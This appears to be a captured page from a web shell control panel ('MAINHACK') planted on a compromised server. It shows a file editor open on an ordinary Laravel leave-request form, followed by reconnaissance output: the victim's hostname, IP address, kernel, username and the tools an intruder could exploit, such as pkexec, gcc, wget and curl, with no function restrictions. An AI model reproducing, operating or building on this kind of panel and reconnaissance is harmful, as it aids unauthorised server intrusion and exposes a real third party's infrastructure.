[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create.blade.php
<form method="post" class="ajax-submit" autocomplete="off" action="{{ route('leaves.store') }}" enctype="multipart/form-data"> @csrf <div class="row px-2"> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Employee ID') }}</label> <select class="form-control auto-select" data-selected="{{ old('employee_id') }}" name="employee_id" required> <option value="">{{ _lang('Select One') }}</option> @foreach(\App\Models\Employee::active()->get() as $employee) <option value="{{ $employee->id }}">{{ $employee->employee_id }} ({{ $employee->name }})</option> @endforeach </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Leave Type') }}</label> <select class="form-control select2-ajax auto-select" data-selected="{{ old('leave_type') }}" data-table="leave_types" data-value="title" data-display="title" data-where="3" name="leave_type" data-title="{{ _lang('New Leave Type') }}" data-href="{{ route('leave_types.create') }}" required> <option value="">{{ _lang('Select One') }}</option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Leave Duration') }}</label> <select class="form-control auto-select" data-selected="{{ old('leave_duration') }}" name="leave_duration" required> <option value="">{{ _lang('Select One') }}</option> <option value="full_day">{{ _lang('Full Day') }}</option> <option value="half_day">{{ _lang('Half Day') }}</option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('Start Date') }}</label> <input type="text" class="form-control datepicker" name="start_date" value="{{ old('start_date') }}"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label">{{ _lang('End Date') }}</label> <input type="text" class="form-control datepicker" name="end_date" value="{{ old('end_date') }}"> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Total Days') }}</label> <input type="text" class="form-control" name="total_days" id="total_days" value="{{ old('total_days') }}" readonly> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Leave Details') }}</label> <textarea class="form-control" name="description">{{ old('description') }}</textarea> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Status') }}</label> <select class="form-control auto-select" data-selected="{{ old('status') }}" name="status" required> <option value="">{{ _lang('Select One') }}</option> <option value="0">{{ _lang('Pending') }}</option> <option value="1">{{ _lang('Approved') }}</option> <option value="2">{{ _lang('Cancelled') }}</option> </select> </div> </div> <div class="col-md-12 mt-2"> <div class="form-group"> <button type="submit" class="btn btn-primary"><i class="ti-check-box mr-2"></i> {{ _lang('Save') }}</button> </div> </div> </div> </form>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002